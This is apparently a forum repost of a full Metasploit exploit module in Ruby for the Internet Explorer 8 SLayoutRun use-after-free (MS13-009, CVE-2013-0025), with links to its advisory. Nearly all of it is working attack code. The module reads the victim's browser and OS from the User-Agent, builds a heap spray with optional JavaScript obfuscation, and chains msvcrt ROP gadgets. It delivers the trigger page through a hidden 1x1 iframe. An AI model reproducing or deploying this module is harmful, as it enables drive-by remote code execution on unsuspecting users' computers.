Remote MS13-009 ie8 SLayoutRun uaf

[el-]

https://docs.google.com/viewer?url=http://w...youtrun_uaf.pdf
http://www.security-assessment.com/files/d...ayoutrun_uaf.rb

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::RopDb


	def initialize(info={})
  super(update_info(info,
  	'Name'    => "Microsoft Internet Explorer SLayoutRun Use-After-Free",
  	'Description'   => %q{
    This module exploits a use-after-free vulnerability in Microsoft Internet Explorer
    where a CParaElement node is released but a reference is still kept
    in CDoc. This memory is reused when a CDoc relayout is performed.
  	},
  	'License'   => MSF_LICENSE,
  	'Author'   =>
    [
    	'Scott Bell <scott.bell@security-assessment.com>',  # Vulnerability discovery & Metasploit module
    ],
  	'References'   =>
    [
    	[ 'CVE', '2013-0025' ],
    	[ 'MSB', 'MS13-009' ],
    	[ 'URL', 'http://security-assessment.com/files/documents/advisory/ie_slayoutrun_uaf.pdf' ],
    ],
  	'Payload'   =>
    {
    	'BadChars'  => "\x00",
    	'Space'  	=> 1024,
    	'DisableNops'  => true,
    	'PrependEncoder'	=> "\x81\xc4\x54\xf2\xff\xff",
    },
  	'DefaultOptions'  =>
    {
    	'InitialAutoRunScript' => 'migrate -f'
    },
  	'Platform'   => 'win',
  	'Targets'   =>
    [
    	[ 'Automatic', {} ],
    	[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => 0x5f4 } ]
    ],
  	'Privileged'   => false,
  	'DisclosureDate'  => "Feb 13 2013",
  	'DefaultTarget'   => 0))

  register_options(
  	[
    OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
  	], self.class)

	end

	def get_target(agent)
  #If the user is already specified by the user, we'll just use that
  return target if target.name != 'Automatic'

  nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
  ie = agent.scan(/MSIE (\d)/).flatten[0] || ''

  ie_name = "IE #{ie}"

  case nt
  when '5.1'
  	os_name = 'Windows XP SP3'
  end

  targets.each do |t|
  	if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
    print_status("Target selected as: #{t.name}")
    return t
  	end
  end

  return nil
	end

	def heap_spray(my_target, p)
  js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
  js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))

  js = %Q|

  	var heap_obj = new heapLib.ie(0x20000);
  	var code = unescape("#{js_code}");
  	var nops = unescape("#{js_nops}");
  	while (nops.length < 0x80000) nops += nops;
  	var offset = nops.substring(0, #{my_target['Offset']});
  	var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
  	while (shellcode.length < 0x40000) shellcode += shellcode;
  	var block = shellcode.substring(0, (0x80000-6)/2);
  	heap_obj.gc();
  	for (var i=1; i < 0x300; i++) {
    heap_obj.alloc(block);
  	}
  	var overflow = nops.substring(0, 10);

  |

  js = heaplib(js, {:noobfu => true})

  if datastore['OBFUSCATE']
  	js = ::Rex::Exploitation::JSObfu.new(js)
  	js.obfuscate

  end

  return js
	end

	def get_payload(t, cli)
  code = payload.encoded

  # No rop. Just return the payload.
  return code if t['Rop'].nil?

  # ROP chain generated by mona.py - See corelan.be
  case t['Rop']
  when :msvcrt
  	print_status("Using msvcrt ROP")
  	rop_nops = [0x77c39f92].pack("V") * 11 # RETN
  	rop_payload = generate_rop_payload('msvcrt', "", {'target'=>'xp'})
  	rop_payload << rop_nops
  	rop_payload << [0x77c364d5].pack("V") # POP EBP # RETN
  	rop_payload << [0x77c15ed5].pack("V") # XCHG EAX, ESP # RETN
  	rop_payload << [0x77c35459].pack("V") # PUSH ESP # RETN
  	rop_payload << [0x77c39f92].pack("V") # RETN
  	rop_payload << [0x0c0c0c8c].pack("V") # Shellcode offset
  	rop_payload << code

  end

  return rop_payload
	end

	def this_resource
  r = get_resource
  return ( r == '/') ? '' : r
	end

	def get_exploit(my_target, cli)
  p  = get_payload(my_target, cli)
  js = heap_spray(my_target, p)


  html = %Q|
  <!doctype html>
  <html>
  <head>
  <script>
  var data
  var objArray = new Array(1800);
  #{js}

  setTimeout(function(){
  	for (var i=0;i<objArray.length;i++){
    objArray[i] = document.createElement('body');
    document.body.appendChild(objArray[i])
    objArray[i].style.display = "none"
  	}

  	document.body.style.whiteSpace = "pre-line"

  	for(var i=0;i<10;i++){
    for (var i=0;i<(objArray.length-650);i++){
    	objArray[i].className = data += unescape("%u0c0c%u0c0c");
    }
  	}

  	setTimeout(function(){document.body.innerHTML = "boo"}, 100)
  }, 100)

  </script>
  </head>
  <body>
  <p> </p>
  </body>
  </html>
  |

  return html
	end


	def get_iframe
  html = %Q|
  <html>
  <body>
  <iframe src="#{this_resource}/#{@iframe_name}" height="1" width="1"></iframe>
  </body>
  </html>
  |

  return html
	end


	def on_request_uri(cli, request)
  agent = request.headers['User-Agent']
  uri   = request.uri
  print_status("Requesting: #{uri}")

  my_target = get_target(agent)
  # Avoid the attack if no suitable target found
  if my_target.nil?
  	print_error("Browser not supported, sending 404: #{agent}")
  	send_not_found(cli)
  	return
  end


  if uri =~ /#{@iframe_name}/
  	html = get_exploit(my_target, cli)
  	html = html.gsub(/^\t\t/, '')
  	print_status("Sending HTML...")
  elsif	uri=~ /\/$/
  	html = get_iframe
  	print_status "Sending IFRAME..."
  end
  	send_response(cli, html, {'Content-Type'=>'text/html'})


	end

	def exploit
  @iframe_name = "#{Rex::Text.rand_text_alpha(5)}.html"
  super
	end
end